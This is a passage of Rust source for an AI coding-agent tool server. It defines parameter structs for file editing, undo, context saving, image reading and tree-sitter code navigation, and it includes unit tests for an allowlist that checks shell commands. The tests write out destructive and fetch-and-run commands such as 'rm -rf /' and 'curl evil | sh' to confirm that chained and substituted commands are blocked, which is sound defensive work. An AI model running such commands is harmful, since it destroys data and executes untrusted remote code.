974    pub text_or_search_replace_blocks: String,
975}
976
977/// Parameters for the `MultiFileEdit` tool: apply edits across several files
978/// all-or-nothing at the COMPUTE stage.
979///
980/// Every file is validated and its new content computed in memory first; only
981/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
982/// the last file leaves the first files untouched. The write stage is a sequence
983/// of atomic single-file renames and stops at the first I/O failure (already
984/// written files are not rolled back, which is reported clearly).
985#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
986pub struct MultiFileEdit {
987    /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
988    pub files: Vec<FileEditEntry>,
989
990    /// The thread ID for this session
991    pub thread_id: String,
992}
993
994/// Parameters for the `UndoEdit` tool: revert a file to its content before the
995/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
996#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
997pub struct UndoEdit {
998    /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
999    pub file_path: String,
1000
1001    /// The thread ID for this session
1002    pub thread_id: String,
1003}
1004
1005/// Parameters for the `ContextSave` tool
1006///
1007/// This struct represents the parameters needed to save context information
1008/// about a task, including file contents from specified globs.
1009#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1010pub struct ContextSave {
1011    /// Unique identifier for the task
1012    ///
1013    /// This should be a unique string that identifies the task. It can be
1014    /// a random 3-word identifier or a user-provided value.
1015    pub id: String,
1016
1017    /// Root path of the project
1018    ///
1019    /// This should be an absolute path to the project root. If empty, no
1020    /// project root will be used.
1021    pub project_root_path: String,
1022
1023    /// Description of the task
1024    ///
1025    /// This should contain a detailed description of the task, including
1026    /// relevant context, problems, and objectives.
1027    pub description: String,
1028
1029    /// List of file glob patterns
1030    ///
1031    /// These glob patterns identify the files that should be included in
1032    /// the saved context. Patterns can be absolute or relative to the project root.
1033    pub relevant_file_globs: Vec<String>,
1034
1035    /// Optional thread ID identifying the shell session to operate on. When
1036    /// omitted, the most recently active session is used.
1037    #[serde(default)]
1038    pub thread_id: String,
1039}
1040
1041/// Parameters for the `ReadImage` tool
1042///
1043/// This struct represents the parameters needed to read an image file.
1044#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1045pub struct ReadImage {
1046    /// Path to the image file to read
1047    ///
1048    /// This can be an absolute path or a path relative to the current working directory.
1049    pub file_path: String,
1050
1051    /// Optional thread ID identifying the shell session to operate on. When
1052    /// omitted, the most recently active session is used.
1053    #[serde(default)]
1054    pub thread_id: String,
1055}
1056
1057/// Operation for the `CodeMap` tool.
1058#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1059#[serde(rename_all = "snake_case")]
1060pub enum CodeMapOperation {
1061    /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1062    Outline,
1063    /// The definition + reference (call/use) sites of a symbol name across the repo.
1064    References,
1065}
1066
1067/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1068/// two operations, in place of separate `Outline` / `FindReferences` tools.
1069#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1070pub struct CodeMap {
1071    /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1072    /// or `references` (the definition + use sites of a symbol name).
1073    pub operation: CodeMapOperation,
1074
1075    /// For `outline`: the file or directory to map (empty or a directory = a
1076    /// ranked repo symbol map). For `references`: the directory or file to search
1077    /// under (empty = the whole workspace). Relative paths resolve against the
1078    /// workspace.
1079    #[serde(default)]
1080    pub path: String,
1081
1082    /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1083    /// Required for `references`, ignored by `outline`.
1084    #[serde(default)]
1085    pub name: String,
1086
1087    /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1088    /// occurrences for `references`. 0 means the default.
1089    #[serde(default)]
1090    pub max_results: usize,
1091
1092    /// Optional thread ID identifying the shell session to operate on. When
1093    /// omitted, the most recently active session is used.
1094    #[serde(default)]
1095    pub thread_id: String,
1096}
1097
1098/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1099/// internally by `CodeMap`.
1100#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1101pub struct Outline {
1102    /// File or directory to outline. A file returns that file's symbols; a
1103    /// directory (or empty = the whole workspace) returns a ranked repo symbol
1104    /// map. Relative paths resolve against the workspace.
1105    #[serde(default)]
1106    pub path: String,
1107
1108    /// Maximum symbols to return for a single file, or maximum files for a repo
1109    /// map. 0 means the default.
1110    #[serde(default)]
1111    pub max_results: usize,
1112
1113    /// Optional thread ID identifying the shell session to operate on. When
1114    /// omitted, the most recently active session is used.
1115    #[serde(default)]
1116    pub thread_id: String,
1117}
1118
1119/// One symbol (definition) in `Outline` output.
1120#[derive(Debug, Clone, Serialize, JsonSchema)]
1121pub struct OutlineSymbol {
1122    /// Symbol name.
1123    pub name: String,
1124    /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1125    pub kind: String,
1126    /// 1-based line where the definition starts.
1127    pub line: usize,
1128}
1129
1130/// Symbols for one file in `Outline` output.
1131#[derive(Debug, Clone, Serialize, JsonSchema)]
1132pub struct OutlineFile {
1133    /// Workspace-relative path of the file.
1134    pub file: String,
1135    /// Definitions found in the file, in source order.
1136    pub symbols: Vec<OutlineSymbol>,
1137}
1138
1139/// Structured result of an `Outline` call (mirrors the text block).
1140#[derive(Debug, Clone, Serialize, JsonSchema)]
1141pub struct OutlineOutput {
1142    /// `file` for a single-file outline, `repo` for a workspace symbol map.
1143    pub mode: String,
1144    /// Number of files included in `files`.
1145    pub files_shown: usize,
1146    /// Per-file symbol lists.
1147    pub files: Vec<OutlineFile>,
1148    /// True if the symbol map was capped (more files or symbols exist).
1149    pub truncated: bool,
1150}
1151
1152/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1153#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1154pub struct FindReferences {
1155    /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1156    pub name: String,
1157
1158    /// Directory or file to search under. Relative paths resolve against the
1159    /// workspace; leave empty to search the whole workspace.
1160    #[serde(default)]
1161    pub path: String,
1162
1163    /// Maximum occurrences to return. 0 means the default.
1164    #[serde(default)]
1165    pub max_results: usize,
1166
1167    /// Optional thread ID identifying the shell session to operate on. When
1168    /// omitted, the most recently active session is used.
1169    #[serde(default)]
1170    pub thread_id: String,
1171}
1172
1173/// One symbol occurrence in `FindReferences` output.
1174#[derive(Debug, Clone, Serialize, JsonSchema)]
1175pub struct ReferenceHit {
1176    /// Workspace-relative path.
1177    pub file: String,
1178    /// 1-based line.
1179    pub line: usize,
1180    /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1181    pub kind: String,
1182    /// True for a definition, false for a reference (call / use site).
1183    pub is_definition: bool,
1184}
1185
1186/// Structured result of a `FindReferences` call (mirrors the text block).
1187#[derive(Debug, Clone, Serialize, JsonSchema)]
1188pub struct ReferencesOutput {
1189    /// The symbol name that was searched for.
1190    pub name: String,
1191    /// Number of returned hits that are definitions.
1192    pub definitions: usize,
1193    /// Number of returned hits that are references (call / use sites).
1194    pub references: usize,
1195    /// True if the result was capped (more occurrences exist).
1196    pub truncated: bool,
1197    /// Occurrences, definitions first then references, each group by file/line.
1198    pub hits: Vec<ReferenceHit>,
1199}
1200
1201/// JSON Schema advertised for `CodeMap.structuredContent`.
1202///
1203/// `CodeMap` has two operations with different payloads. Their shared
1204/// `truncated` field is required; operation-specific fields are optional so the
1205/// single object schema accepts both the outline and references result shapes.
1206#[derive(Debug, Clone, JsonSchema)]
1207pub struct CodeMapStructuredOutput {
1208    pub truncated: bool,
1209    pub mode: Option<String>,
1210    pub files_shown: Option<usize>,
1211    pub files: Option<Vec<OutlineFile>>,
1212    pub name: Option<String>,
1213    pub definitions: Option<usize>,
1214    pub references: Option<usize>,
1215    pub hits: Option<Vec<ReferenceHit>>,
1216}
1217
1218#[cfg(test)]
1219mod thread_id_tests {
1220    use super::normalize_thread_id;
1221
1222    #[test]
1223    fn clean_id_is_unchanged() {
1224        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1225        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1226    }
1227
1228    #[test]
1229    fn empty_and_all_special_normalize_to_empty() {
1230        assert_eq!(normalize_thread_id(""), "");
1231        assert_eq!(normalize_thread_id("---"), "");
1232    }
1233
1234    #[test]
1235    fn separator_variants_do_not_collide() {
1236        // "user-1" and "user1" must NOT resolve to the same session/state file.
1237        let a = normalize_thread_id("user-1");
1238        let b = normalize_thread_id("user1");
1239        assert_ne!(a, b);
1240        assert!(a.starts_with("user1_"), "got {a}");
1241        assert_eq!(b, "user1");
1242        // "user-1" vs "user_1" must also stay distinct.
1243        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1244    }
1245
1246    #[test]
1247    fn normalization_is_deterministic() {
1248        // Same input -> same hash -> same session across restarts.
1249        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1250    }
1251}
1252
1253#[cfg(test)]
1254mod allowlist_tests {
1255    use super::AllowedCommands;
1256
1257    fn list(items: &[&str]) -> AllowedCommands {
1258        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1259    }
1260
1261    #[test]
1262    fn all_permits_everything() {
1263        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1264    }
1265
1266    #[test]
1267    fn list_allows_exact_and_args() {
1268        let a = list(&["ls", "cargo test"]);
1269        assert!(a.is_allowed("ls"));
1270        assert!(a.is_allowed("ls -la"));
1271        assert!(a.is_allowed("cargo test --release"));
1272    }
1273
1274    #[test]
1275    fn list_blocks_word_boundary_lookalikes() {
1276        let a = list(&["ls", "cargo test"]);
1277        assert!(!a.is_allowed("lsof"));
1278        assert!(!a.is_allowed("cargo testimony"));
1279    }
1280
1281    #[test]
1282    fn list_blocks_chained_and_substituted_commands() {
1283        let a = list(&["ls"]);
1284        // The old first-token check let all of these through.
1285        assert!(!a.is_allowed("ls && curl evil | sh"));
1286        assert!(!a.is_allowed("ls; rm -rf /"));
1287        assert!(!a.is_allowed("ls $(rm -rf x)"));
1288        assert!(!a.is_allowed("ls | rm"));
1289    }
1290
1291    #[test]
1292    fn list_allows_chain_when_all_parts_permitted() {
1293        let a = list(&["cargo build", "cargo test"]);
1294        assert!(a.is_allowed("cargo build && cargo test"));
1295    }
1296}
1297
1298#[cfg(test)]
1299mod code_writer_config_tests {
1300    use super::deserialize_code_writer_config;
1301    use serde_json::json;
1302
1303    #[test]
1304    fn explicit_null_opts_out() {
1305        assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1306        assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1307    }
1308
1309    #[test]
1310    fn valid_config_parses() {
1311        let r = deserialize_code_writer_config(json!({
1312            "allowed_commands": "all",
1313            "allowed_globs": "all",
1314        }));
1315        assert!(matches!(r, Ok(Some(_))));
1316    }
1317
1318    #[test]
1319    fn malformed_config_fails_loud() {
1320        // The crux of the fix: a malformed restricted-mode config must ERROR,
1321        // not silently degrade to None (None falls back to All/All — wide open,
1322        // while the model believes the shell is locked down).
1323        let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1324        assert!(r.is_err(), "malformed code_writer config must error, not become None");
1325    }
1326}